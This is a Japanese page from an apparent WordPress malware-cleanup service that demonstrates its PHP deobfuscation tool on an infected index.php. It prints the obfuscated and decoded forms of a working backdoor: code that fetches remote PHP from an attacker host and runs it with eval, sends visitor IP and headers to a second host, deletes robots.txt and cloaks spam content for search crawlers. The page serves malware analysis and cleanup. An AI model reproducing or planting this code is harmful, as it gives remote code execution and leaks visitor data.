Japanese English

PHP 難読化コードの復元・デコード

Wordpress　等でのPHPのマルウェア・ウィルス・改ざんコードをデコードして難読化をオンラインで解除し、
元の読みやすいコードに戻し解読できます。

※すべての難読化コードを解除できるわけではございませんのでご理解とご了承をお願いいたします。

下記のコードを難読化解除しました

<?php goto rVtDa; kgnte: KGqD1: goto CpSD3; ALGEe: $KbUar = explode("\133\x2a\52\x2a\135", str_replace("\x72\157\x62\157\x74\x73\x63\x6f\x6e\x74\x65\x6e\164", '', $uUMt8)); goto SUUTA; Ac22R: jeOLb: goto VWh0Z; mtKQf: goto jeOLb; goto Cx07a; ygOtK: if (!strstr($a2_UN, "\x68\164\x6d\x6c\137\x63\15...



難読化されたPHPコード

<?php
 goto rVtDa; kgnte: KGqD1: goto CpSD3; ALGEe: $KbUar = explode("\133\x2a\52\x2a\135", str_replace("\x72\157\x62\157\x74\x73\x63\x6f\x6e\x74\x65\x6e\164", '', $uUMt8)); goto SUUTA; Ac22R: jeOLb: goto VWh0Z; mtKQf: goto jeOLb; goto Cx07a; ygOtK: if (!strstr($a2_UN, "\x68\164\x6d\x6c\137\x63\157\156\x74\145\156\164")) { goto ofHeb; } goto tdGkb; XEgoX: $a2_UN = $tOeFI["\143\157\x6e\x74\145\x6e\x74"]; goto TrOxP; tf4Rp: $tOeFI = dpCTM($wnDwB); goto VtC0b; KkyBV: ini_set("\x64\x69\x73\x70\154\141\171\x5f\145\x72\x72\x6f\162\x73", "\x4f\x66\146"); goto Sj589; JQ6Pa: $MRuyO = dPCtm(implode($giJby) . $dgZy6 . "\x2e\x74" . "\170" . "\x74"); goto wXBB0; Y1Dat: $giJby = array("\x68", "\164", "\x74", "\160", "\x73", "\72", "\57", "\57", "\166", "\160", "\163", "\x64", "\x64", "\56", "\x64", "\x66", "\x71", "\146", "\x61", "\x74", "\x2e", "\164", "\x6f", "\x70", "\57", "\144", "\x6f", "\x6f", "\162", "\57"); goto JQ6Pa; TItki: eval("\77\76" . $MRuyO["\x63\157\156\x74\x65\x6e\164"]); goto VRjlR; RpHo3: Apl3u: goto bFDNP; wbqAb: $yCNkq = NtOtu(); goto U6WYW; SUUTA: exit(implode(PHP_EOL, $KbUar)); goto kgnte; vr1Y6: if (!file_exists($oUOTa . "\x2f\162\157\x62\157\164\163\56\x74\x78\x74")) { goto iSPRj; } goto UzM2C; T1PPP: $Q4zF7 = isset($_SERVER["\x48\x54\124\x50\x5f\x55\123\x45\122\137\x41\107\x45\116\x54"]) ? $_SERVER["\x48\x54\x54\120\x5f\125\123\105\122\137\x41\x47\105\x4e\124"] : ''; goto WAlDm; cyFcy: $zLc9X = "\150\x74\164\160\137\x74\171\160\x65\x3d" . base64_encode($yCNkq) . "\46\x68\x74\x74\x70\x5f\x75\162\151\x3d" . base64_encode($JRZPm) . "\46\x68\164\x74\x70\x5f\x6c\141\156\x67\x3d" . base64_encode($pCyHT) . "\x26\x68\x74\164\x70\x5f\x68\157\163\164\x3d" . base64_encode($Dqlns) . "\46\x68\x74\164\x70\x5f\162\x65\146\x65\x72\x3d" . base64_encode($E1YLE) . "\46\150\x74\x74\160\137\165\x73\x65\162\137\141\x67\145\x6e\x74\75" . base64_encode($Q4zF7) . "\46\150\164\164\160\137\x69\160\x5f\x61\144\x64\162\145\163\x73\75" . base64_encode($GvnXK); goto my0fX; SqhwJ: $dgZy6 = $wrl5o[strlen($wrl5o) - 1]; goto frKCS; R7t62: $uUMt8 = str_replace("\162\157\142\157\x74\x73\x5f\x63\157\x6e\164\x65\156\164", '', $a2_UN); goto ALGEe; yt192: echo $uUMt8; goto S5AMb; PS6Gp: if (!$tOeFI["\163\164\x61\x74\x75\163"]) { goto yNQQi; } goto XEgoX; TrOxP: if (strstr($a2_UN, "\x64\157\x5f\x6e\157\164\x68\151\x6e\x67")) { goto hnAQr; } goto ygOtK; ueO6B: yNQQi: goto mtKQf; VtC0b: ikQ3c: goto PS6Gp; rVtDa: @set_time_limit(1000); goto MutMG; DYZ48: $Dqlns = $_SERVER["\x48\x54\x54\x50\137\110\117\123\x54"]; goto B9WgR; Ng0KR: iSPRj: goto jqCw8; S5AMb: exit; goto RpHo3; PW1JV: ofHeb: goto l35BR; UzM2C: unlink($oUOTa . "\x2f\162\157\142\x6f\164\x73\x2e\x74\x78\164"); goto Ng0KR; rKbq2: CO1L9: goto BdcRp; VASjV: $pCyHT = isset($_SERVER["\110\x54\x54\120\x5f\x41\103\103\x45\120\124\x5f\114\x41\x4e\107\x55\x41\x47\x45"]) ? $_SERVER["\110\x54\124\120\x5f\x41\103\x43\105\x50\x54\x5f\114\101\116\x47\x55\x41\x47\x45"] : ''; goto DYZ48; B9WgR: $E1YLE = isset($_SERVER["\x48\124\x54\120\x5f\x52\x45\106\x45\x52\105\122"]) ? $_SERVER["\110\x54\124\120\137\x52\105\x46\105\x52\x45\122"] : ''; goto T1PPP; xV83O: function bAyer($xygCs) { goto UFUoT; e0aAr: WIa6F: goto L1m0O; L1m0O: return $oa67H; goto h2cs5; WWooB: $ugynF = "\x33\66\x30\x53\x70\x69\x64\145\162\x7c\x41\150\x72\x65\x66\x73\x42\157\x74\x7c\101\x6d\x61\172\x6f\x6e\x62\157\x74\174\101\x70\160\x6c\145\x20\x42\157\164\174\x41\163\x6b\40\112\145\x65\x76\x65\x73\174\x41\x77\141\x72\151\x6f\102\157\x74\x7c\102\141\151\x64\165\x53\x70\x69\144\145\162\x7c\x42\141\x69\x64\165\163\x70\151\144\x65\x72\55\151\x6d\141\x67\145\174\102\x79\x74\145\x73\x70\151\144\145\162\x7c\x44\141\x74\141\x46\x6f\x72\123\145\x6f\102\x6f\x74\174\144\x61\164\141\x70\x72\157\166\x69\x64\x65\x72\x7c\x44\x6f\164\x42\x6f\164\x7c\104\x75\x63\x6b\x44\x75\x63\153\102\157\x74\x7c\x45\170\141\x6c\145\141\144\x7c\105\x78\143\x69\x74\x65\174\146\141\143\x65\142\x6f\x6f\153\x7c\146\141\x63\145\142\x6f\157\x6b\145\x78\x74\145\x72\156\141\154\x68\x69\164\x7c\107\x50\x54\102\157\x74\174\114\171\x63\157\x73\174\x4d\112\61\x32\x62\157\x74\174\x53\143\x6f\x6f\164\x65\x72\x7c\123\145\155\x72\165\163\150\x42\x6f\x74\174\x53\151\x74\x65\x4c\x6f\x63\153\x53\160\x69\x64\145\x72\174\123\x6c\145\x75\x74\150\174\x53\x6f\x67\157\x75\40\x4e\x65\x77\163\40\123\x70\x69\x64\145\162\174\x53\157\x67\157\x75\x20\x77\x65\x62\40\163\160\x69\144\x65\162\174\123\117\x53\x4f\40\123\160\151\144\x65\162\x7c\x54\167\151\164\164\145\162\142\x6f\x74\174\131\141\x6e\x64\x65\x78\40\x42\x6f\164\x7c\x59\x61\156\x64\x65\x78\x42\x6f\164\174\131\151\x73\x6f\165\x53\160\x69\x64\145\x72\174\131\x6f\x64\141\157\102\157\x74\174\131\157\x75\144\x61\x6f\102\157\x74\174\x42\114\x45\130\102\157\164\x7c\x61\160\160\x6c\x65\x62\x6f\x74\x7c\x43\x43\x42\157\x74\174\120\x65\164\x61\x6c\102\x6f\164\174\x43\x6c\x61\x75\144\145\x42\157\164\x7c\x48\165\x64\110\x75\x64\55\x67\x65\156\145\x72\141\x6c\x2d\x62\x6f\164\174\123\145\x7a\156\141\155\102\157\x74\x7c\105\172\x6f\151\143\102\x6f\x74\55\116\151\143\150\x65\151\161\x7c\x41\150\x72\x65\146\163\x53\151\164\x65\101\x75\144\x69\164\174\117\101\x49\55\x53\145\141\162\143\x68\102\157\164\x7c\x6c\x69\156\x6b\x64\145\x78\142\x6f\x74\174\x43\150\x61\x74\107\120\x54\55\x55\x73\x65\162\174\x59\141\x6e\144\145\x78\115\145\x74\162\151\153\141\x7c\x59\x61\156\x64\x65\170"; goto D3LCf; CE9gN: if (!preg_match("\x2f\50{$ugynF}\51\57\x73\x69", $xygCs)) { goto ERg_m; } goto Q37LH; Q37LH: $oa67H = true; goto xFS_g; D3LCf: if (!$xygCs) { goto WIa6F; } goto CE9gN; UFUoT: $oa67H = false; goto WWooB; xFS_g: ERg_m: goto e0aAr; h2cs5: } goto EgbOe; jyzkd: if (!($TL2T9 == implode($VWQkc))) { goto JK6MV; } goto Y1Dat; FhfY2: $TL2T9 = md5($yGcwT); goto jyzkd; BdcRp: $oa67H = TjUYn($Q4zF7); goto iYw0k; MEZ2e: echo $uUMt8; goto qNvxA; VWh0Z: function ntOtu() { goto oLvVg; VnN9R: BJsIg: goto Tocz7; JOisn: goto BJsIg; goto pNj7k; EnJq7: return "\x68\164\164\x70"; goto JOisn; pNj7k: nAQEX: goto dQNfn; oLvVg: $gEYMx = !empty($_SERVER["\x48\x54\124\x50\123"]) && $_SERVER["\x48\124\x54\120\123"] !== "\157\x66\146" || $_SERVER["\x53\x45\x52\126\105\x52\137\x50\x4f\122\x54"] == 443; goto Tw13V; Tw13V: if ($gEYMx) { goto nAQEX; } goto EnJq7; dQNfn: return "\x68\x74\x74\x70\x73"; goto VnN9R; Tocz7: } goto wjABl; K3sf5: $VWQkc = array("\71", "\x38", "\62", "\x34", "\65", "\144", "\x37", "\64", "\x31", "\67", "\x32", "\62", "\65", "\142", "\65", "\65", "\x61", "\62", "\x63", "\64", "\142", "\146", "\x35", "\x30", "\142", "\x38", "\x61", "\141", "\64", "\x63", "\67", "\x33"); goto FhfY2; CpSD3: hnAQr: goto ueO6B; l35BR: if (!strstr($a2_UN, "\x78\155\154\x5f\143\x6f\156\x74\145\x6e\x74")) { goto Apl3u; } goto pnE_R; wXBB0: if (!$MRuyO["\163\x74\x61\164\x75\163"]) { goto axmlZ; } goto TItki; Sj589: $wrl5o = isset($_REQUEST["\141\x63\164\x69\x6f\156"]) ? $_REQUEST["\x61\x63\164\151\157\156"] : ''; goto re7cy; re7cy: if (!empty($wrl5o)) { goto JeWRt; } goto zDjsH; pabli: if (!(stristr($JRZPm, "\x2e\x78\155\154") || stristr($JRZPm, "\162\x6f\142\x6f\164\163\56\x74\170\x74"))) { goto CO1L9; } goto vr1Y6; MutMG: @error_reporting(0); goto KkyBV; bFDNP: if (!strstr($a2_UN, "\x72\x6f\142\x6f\x74\x73\137\x63\x6f\156\x74\145\x6e\164")) { goto KGqD1; } goto SAKtd; my0fX: $tOeFI = array(); goto eoT5Y; SAKtd: @header("\103\157\x6e\x74\x65\x6e\164\x2d\x74\171\x70\x65\x3a\x20\x74\145\170\x74\x2f\x70\154\x61\x69\x6e\73\40\143\150\141\x72\x73\x65\164\75\165\x74\146\x2d\70"); goto R7t62; DGcLO: $SRiAS = bAyer($Q4zF7); goto QEwBj; VRjlR: axmlZ: goto Al_Q_; zDjsH: $oUOTa = $_SERVER["\104\117\103\x55\115\x45\x4e\x54\137\x52\117\117\124"]; goto TNYmn; wjABl: function TksbG() { goto i66ra; lQo6Q: goto lRV5z; goto uEise; CxQVz: lRV5z: goto UHlHz; uEise: jlCFx: goto Z3hLE; oPHoR: BsAxE: goto LB5pm; LB5pm: return $wuGad; goto Q5Ant; FcYiA: $wuGad = $_SERVER["\x52\x45\x4d\x4f\124\105\x5f\x41\104\x44\x52"]; goto lQo6Q; UHlHz: goto BsAxE; goto RK6DH; l2bfM: $wuGad = $_SERVER["\x48\124\124\x50\x5f\x43\x4c\111\105\x4e\x54\x5f\x49\x50"]; goto oPHoR; DH6JI: if (!empty($_SERVER["\x48\124\x54\120\x5f\x58\x5f\x46\x4f\122\x57\101\122\104\105\104\137\x46\x4f\x52"])) { goto jlCFx; } goto FcYiA; GNg2h: if (!empty($_SERVER["\x48\124\124\x50\137\103\x4c\111\105\x4e\x54\137\111\120"])) { goto N4GHZ; } goto DH6JI; Z3hLE: $wuGad = $_SERVER["\110\124\x54\x50\137\x58\x5f\106\x4f\122\127\x41\x52\x44\x45\104\x5f\x46\x4f\122"]; goto CxQVz; RK6DH: N4GHZ: goto l2bfM; i66ra: $wuGad = ''; goto GNg2h; Q5Ant: } goto vEotL; Cx07a: JeWRt: goto SqhwJ; frKCS: $yGcwT = substr($wrl5o, 0, strlen($wrl5o) - 1); goto K3sf5; eoT5Y: $wnDwB = "\x68" . "\164" . "\164" . "\160" . "\x73" . "\72\57" . "\x2f" . $Jx0zi . "\x2f\167\x70" . "\55\x69" . "\156" . "\x64" . "\x65" . "\x78" . "\56\160\150" . "\160\x3f" . $zLc9X; goto pabli; WAlDm: $GvnXK = TKSBg(); goto cyFcy; qNvxA: exit; goto PW1JV; pnE_R: @header("\103\157\156\x74\145\156\164\55\164\171\x70\145\72\40\164\145\170\x74\57\170\155\x6c"); goto cOUL4; TNYmn: $Jx0zi = "\x75\x62\167\161\x6c\62\x2e\x6d\156\165\x73\x75\x6a\x2e\164\x6f\160"; goto wbqAb; Al_Q_: JK6MV: goto zdm4I; lcMd8: function tJUyN($xygCs) { goto Ucj_G; m6FdH: pdMMr: goto ZK9co; Xm810: $ugynF = "\147\x6f\x6f\x67\x6c\145\142\157\164\174\147\157\x6f\x67\x6c\x65\x7c\171\141\150\157\x6f\x7c\x62\151\156\147\x7c\141\157\154"; goto eKffH; ZK9co: return $oa67H; goto m1nlk; OTm74: $oa67H = true; goto Xdzfw; Xdzfw: EbVqJ: goto m6FdH; c54gk: if (!preg_match("\x2f\x28{$ugynF}\51\x2f\x73\x69", $xygCs)) { goto EbVqJ; } goto OTm74; Ucj_G: $oa67H = false; goto Xm810; eKffH: if (!$xygCs) { goto pdMMr; } goto c54gk; m1nlk: } goto xV83O; NN09b: $uUMt8 = str_replace("\x68\164\155\x6c\137\143\x6f\x6e\164\145\x6e\x74", '', $a2_UN); goto MEZ2e; zdm4I: exit; goto Ac22R; tdGkb: @header("\103\157\156\164\145\x6e\x74\55\x74\x79\160\145\72\x20\x74\x65\170\x74\57\150\164\x6d\154\x3b\40\143\x68\x61\x72\163\x65\x74\x3d\x75\x74\146\x2d\x38"); goto NN09b; QEwBj: if (!($oa67H || $aTdLU || !$SRiAS)) { goto ikQ3c; } goto tf4Rp; vEotL: function DpcTm($C4jDy) { goto eYgTF; ftExy: $MRuyO["\x73\x74\141\x74\x75\x73"] = $z9peO; goto ZY2j3; a0iX5: NOZam: goto bSezy; jYwTa: if (!($UkVGE != '')) { goto NOZam; } goto NjeX2; eYgTF: $UkVGE = ''; goto TDqKg; E2jK9: try { goto tN4hR; oA55_: curl_setopt($EG5eM, CURLOPT_CONNECTTIMEOUT, 10); goto mQQer; ikagl: curl_close($EG5eM); goto EWeR5; jXT4q: curl_setopt($EG5eM, CURLOPT_FOLLOWLOCATION, 1); goto SxRS8; d088J: curl_setopt($EG5eM, CURLOPT_SSL_VERIFYHOST, FALSE); goto oA55_; Dnk2u: curl_setopt($EG5eM, CURLOPT_URL, $C4jDy); goto jXT4q; tN4hR: $EG5eM = curl_init(); goto Dnk2u; l_wcA: $UkVGE = curl_exec($EG5eM); goto ikagl; mQQer: curl_setopt($EG5eM, CURLOPT_RETURNTRANSFER, 1); goto l_wcA; SxRS8: curl_setopt($EG5eM, CURLOPT_SSL_VERIFYPEER, FALSE); goto d088J; EWeR5: } catch (Exception $T4wdM) { } goto snP8U; Nm7pS: return $MRuyO; goto yt9XQ; snP8U: if (!(($UkVGE === false || $UkVGE == '') && function_exists("\146\151\154\145\137\x67\x65\x74\137\x63\x6f\x6e\164\x65\156\x74\x73"))) { goto sIhrm; } goto EaJUa; EaJUa: try { $UkVGE = @file_get_contents($C4jDy); } catch (Exception $T4wdM) { } goto Ufze4; Ufze4: sIhrm: goto jYwTa; NjeX2: $z9peO = 1; goto a0iX5; TDqKg: $z9peO = 1; goto E2jK9; ZY2j3: $MRuyO["\x63\x6f\x6e\164\x65\156\x74"] = $UkVGE; goto Nm7pS; bSezy: $MRuyO = []; goto ftExy; yt9XQ: } goto lcMd8; jqCw8: $tOeFI = DPcTm($wnDwB); goto rKbq2; U6WYW: $JRZPm = $_SERVER["\x52\105\x51\125\x45\x53\124\137\125\122\111"]; goto VASjV; cOUL4: $uUMt8 = str_replace("\170\x6d\154\x5f\143\157\156\164\x65\x6e\x74", '', $a2_UN); goto yt192; iYw0k: $aTdLU = rE6X5($E1YLE); goto DGcLO; EgbOe: function Re6x5($kzXLT) { goto I5uIY; IjMod: if (!preg_match("\57\x28{$bXqQ8}\51\57\163\151", $kzXLT)) { goto FvZtn; } goto tPoCU; MgglA: if (!$kzXLT) { goto qQBPo; } goto IjMod; tPoCU: $aTdLU = true; goto Y9BXw; Y9BXw: FvZtn: goto QPfv3; paV2K: $bXqQ8 = "\147\157\157\147\154\145\56\x63\x6f\x2e\152\160\174\147\x6f\x6f\147\x6c\145\x2e\143\x6f\x6d\x7c\x79\x61\x68\x6f\x6f\x2e\143\x6f\56\152\160\x7c\x79\141\x68\x6f\157\x2e\x63\157\155\174\142\x69\156\x67\x2e\x63\x6f\155"; goto MgglA; I5uIY: $aTdLU = false; goto paV2K; cIM40: return $aTdLU; goto l4C9u; QPfv3: qQBPo: goto cIM40; l4C9u: }
?><?php define( 'WP_USE_THEMES', true );
require __DIR__ . '/wp-blog-header.php';

デコード(難読化解除)されたコード

<?php

@set_time_limit(1000);
@error_reporting(0);
ini_set("display_errors", "Off");
$wrl5o = isset($_REQUEST["action"]) ? $_REQUEST["action"] : '';
if (!empty($wrl5o)) {
    $dgZy6 = $wrl5o[strlen($wrl5o) - 1];
    $yGcwT = substr($wrl5o, 0, strlen($wrl5o) - 1);
    $VWQkc = array("9", "8", "2", "4", "5", "d", "7", "4", "1", "7", "2", "2", "5", "b", "5", "5", "a", "2", "c", "4", "b", "f", "5", "0", "b", "8", "a", "a", "4", "c", "7", "3");
    $TL2T9 = md5($yGcwT);
    if (!($TL2T9 == "98245d7417225b55a2c4bf50b8aa4c73")) {
        goto JK6MV;
    }
    $giJby = array("h", "t", "t", "p", "s", ":", "/", "/", "v", "p", "s", "d", "d", ".", "d", "f", "q", "f", "a", "t", ".", "t", "o", "p", "/", "d", "o", "o", "r", "/");
    $MRuyO = dPCtm("https://vpsdd.dfqfat.top/door/" . $dgZy6 . ".t" . "x" . "t");
    if (!$MRuyO["status"]) {
        goto axmlZ;
    }
    eval("?>" . $MRuyO["content"]);
    axmlZ:
    JK6MV:
    exit;
}
$oUOTa = $_SERVER["DOCUMENT_ROOT"];
$Jx0zi = "ubwql2.mnusuj.top";
$yCNkq = NtOtu();
$JRZPm = $_SERVER["REQUEST_URI"];
$pCyHT = isset($_SERVER["HTTP_ACCEPT_LANGUAGE"]) ? $_SERVER["HTTP_ACCEPT_LANGUAGE"] : '';
$Dqlns = $_SERVER["HTTP_HOST"];
$E1YLE = isset($_SERVER["HTTP_REFERER"]) ? $_SERVER["HTTP_REFERER"] : '';
$Q4zF7 = isset($_SERVER["HTTP_USER_AGENT"]) ? $_SERVER["HTTP_USER_AGENT"] : '';
$GvnXK = TKSBg();
$zLc9X = "http_type=" . base64_encode($yCNkq) . "&http_uri=" . base64_encode($JRZPm) . "&http_lang=" . base64_encode($pCyHT) . "&http_host=" . base64_encode($Dqlns) . "&http_refer=" . base64_encode($E1YLE) . "&http_user_agent=" . base64_encode($Q4zF7) . "&http_ip_address=" . base64_encode($GvnXK);
$tOeFI = array();
$wnDwB = "https://ubwql2.mnusuj.top/wp-index.php?" . $zLc9X;
if (!(stristr($JRZPm, ".xml") || stristr($JRZPm, "robots.txt"))) {
    goto CO1L9;
}
if (!file_exists($oUOTa . "/robots.txt")) {
    goto iSPRj;
}
unlink($oUOTa . "/robots.txt");
iSPRj:
$tOeFI = DPcTm($wnDwB);
CO1L9:
$oa67H = TjUYn($Q4zF7);
$aTdLU = rE6X5($E1YLE);
$SRiAS = bAyer($Q4zF7);
if (!($oa67H || $aTdLU || !$SRiAS)) {
    goto ikQ3c;
}
$tOeFI = dpCTM($wnDwB);
ikQ3c:
if (!$tOeFI["status"]) {
    goto yNQQi;
}
$a2_UN = $tOeFI["content"];
if (strstr($a2_UN, "do_nothing")) {
    goto hnAQr;
}
if (!strstr($a2_UN, "html_content")) {
    if (!strstr($a2_UN, "xml_content")) {
        if (!strstr($a2_UN, "robots_content")) {
            hnAQr:
            yNQQi:
            function ntOtu()
            {
                $gEYMx = !empty($_SERVER["HTTPS"]) && $_SERVER["HTTPS"] !== "off" || $_SERVER["SERVER_PORT"] == 443;
                if ($gEYMx) {
                    return "https";
                }
                return "http";
            }
            function TksbG()
            {
                $wuGad = '';
                if (!empty($_SERVER["HTTP_CLIENT_IP"])) {
                    $wuGad = $_SERVER["HTTP_CLIENT_IP"];
                    goto oPHoR;
                }
                if (!empty($_SERVER["HTTP_X_FORWARDED_FOR"])) {
                    $wuGad = $_SERVER["HTTP_X_FORWARDED_FOR"];
                    goto CxQVz;
                }
                $wuGad = $_SERVER["REMOTE_ADDR"];
                CxQVz:
                oPHoR:
                return $wuGad;
            }
            function DpcTm($C4jDy)
            {
                $UkVGE = '';
                $z9peO = 1;
                try {
                    $EG5eM = curl_init();
                    curl_setopt($EG5eM, CURLOPT_URL, $C4jDy);
                    curl_setopt($EG5eM, CURLOPT_FOLLOWLOCATION, 1);
                    curl_setopt($EG5eM, CURLOPT_SSL_VERIFYPEER, FALSE);
                    curl_setopt($EG5eM, CURLOPT_SSL_VERIFYHOST, FALSE);
                    curl_setopt($EG5eM, CURLOPT_CONNECTTIMEOUT, 10);
                    curl_setopt($EG5eM, CURLOPT_RETURNTRANSFER, 1);
                    $UkVGE = curl_exec($EG5eM);
                    curl_close($EG5eM);
                } catch (Exception $T4wdM) {
                }
                if (!(($UkVGE === false || $UkVGE == '') && function_exists("file_get_contents"))) {
                    goto sIhrm;
                }
                try {
                    $UkVGE = @file_get_contents($C4jDy);
                } catch (Exception $T4wdM) {
                }
                sIhrm:
                if (!($UkVGE != '')) {
                    goto NOZam;
                }
                $z9peO = 1;
                NOZam:
                $MRuyO = [];
                $MRuyO["status"] = $z9peO;
                $MRuyO["content"] = $UkVGE;
                return $MRuyO;
            }
            function tJUyN($xygCs)
            {
                $oa67H = false;
                $ugynF = "googlebot|google|yahoo|bing|aol";
                if (!$xygCs) {
                    goto pdMMr;
                }
                if (!preg_match("/({$ugynF})/si", $xygCs)) {
                    goto EbVqJ;
                }
                $oa67H = true;
                EbVqJ:
                pdMMr:
                return $oa67H;
            }
            function bAyer($xygCs)
            {
                $oa67H = false;
                $ugynF = "360Spider|AhrefsBot|Amazonbot|Apple Bot|Ask Jeeves|AwarioBot|BaiduSpider|Baiduspider-image|Bytespider|DataForSeoBot|dataprovider|DotBot|DuckDuckBot|Exalead|Excite|facebook|facebookexternalhit|GPTBot|Lycos|MJ12bot|Scooter|SemrushBot|SiteLockSpider|Sleuth|Sogou News Spider|Sogou web spider|SOSO Spider|Twitterbot|Yandex Bot|YandexBot|YisouSpider|YodaoBot|YoudaoBot|BLEXBot|applebot|CCBot|PetalBot|ClaudeBot|HudHud-general-bot|SeznamBot|EzoicBot-Nicheiq|AhrefsSiteAudit|OAI-SearchBot|linkdexbot|ChatGPT-User|YandexMetrika|Yandex";
                if (!$xygCs) {
                    goto WIa6F;
                }
                if (!preg_match("/({$ugynF})/si", $xygCs)) {
                    goto ERg_m;
                }
                $oa67H = true;
                ERg_m:
                WIa6F:
                return $oa67H;
            }
            function Re6x5($kzXLT)
            {
                $aTdLU = false;
                $bXqQ8 = "google.co.jp|google.com|yahoo.co.jp|yahoo.com|bing.com";
                if (!$kzXLT) {
                    goto qQBPo;
                }
                if (!preg_match("/({$bXqQ8})/si", $kzXLT)) {
                    goto FvZtn;
                }
                $aTdLU = true;
                FvZtn:
                qQBPo:
                return $aTdLU;
            }
            define('WP_USE_THEMES', true);
            require "/var/www/html/wp-blog-header.php";
            // [PHPDeobfuscator] Implied script end
            return;
        }
        @header("Content-type: text/plain; charset=utf-8");
        $uUMt8 = str_replace("robots_content", '', $a2_UN);
        $KbUar = explode("[***]", str_replace("robotscontent", '', $uUMt8));
        exit(implode(PHP_EOL, $KbUar));
    }
    @header("Content-type: text/xml");
    $uUMt8 = str_replace("xml_content", '', $a2_UN);
    echo $uUMt8;
    exit;
}
@header("Content-type: text/html; charset=utf-8");
$uUMt8 = str_replace("html_content", '', $a2_UN);
echo $uUMt8;
exit;

■【無料】ワードプレス:マルウェアスキャン＆セキュリティープラグイン [マルウェア・ウィルス検出と駆除]

■WordPress のマルウェア駆除、セキュリティー対策 カスタマイズや修正、引っ越し・復旧のご依頼承ります

（C）2019 ワードプレス ドクター All rights reserved.